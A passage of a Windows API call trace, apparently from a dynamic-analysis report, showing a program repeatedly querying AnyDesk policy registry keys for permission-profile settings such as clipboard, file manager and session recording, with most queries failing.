lpValueName="security.permissionprofiles.changeableinacceptwindow.input", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.314] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.audio", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.315] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.315] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.audio", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.315] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.315] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.audio", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.315] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.315] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.audio", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.315] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.315] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.audio", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.315] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.315] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.audio", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.315] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.315] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.audio", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.315] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.316] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.audio", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.316] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.316] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.clipboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.316] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.316] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.clipboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.316] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.316] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.clipboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.316] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.316] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.clipboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.316] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.316] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.clipboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.316] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.317] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.clipboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.317] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.317] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.clipboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.317] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.317] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.clipboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.317] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.317] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.blockinput", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.317] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.317] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.blockinput", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.317] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.317] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.blockinput", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.317] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.318] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.blockinput", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.318] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.318] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.blockinput", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.318] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.318] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.blockinput", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.318] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.318] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.blockinput", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.318] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.318] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.blockinput", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.318] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.319] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.sas", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.319] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.319] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.sas", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.319] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.319] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.sas", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.319] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.319] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.sas", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.319] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.319] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.sas", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.319] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.319] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.sas", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.319] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.320] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.filemanager", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.320] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.320] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.filemanager", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.320] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.320] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.filemanager", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.320] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.320] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.filemanager", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.320] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.320] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.filemanager", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.320] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.320] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.filemanager", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.320] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.320] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.filemanager", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.321] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.321] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.filemanager", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.321] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.321] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.lockdesk", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.321] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.321] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.lockdesk", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.321] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.321] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.lockdesk", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.321] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.321] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.lockdesk", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.321] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.321] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.lockdesk", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.322] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.322] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.lockdesk", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.322] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.322] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.lockdesk", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.322] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.322] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.lockdesk", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.322] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.322] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.recordsession", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.322] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.322] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.recordsession", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.322] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.322] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.recordsession", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.322] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.323] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.recordsession", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.323] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.323] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.recordsession", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.323] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.323] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.recordsession", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.323] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.323] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.recordsession", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.323] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.323] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.recordsession", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.323] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.323] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.whiteboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.323] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.324] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.whiteboard", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.324] RegOpenKeyExW (in: 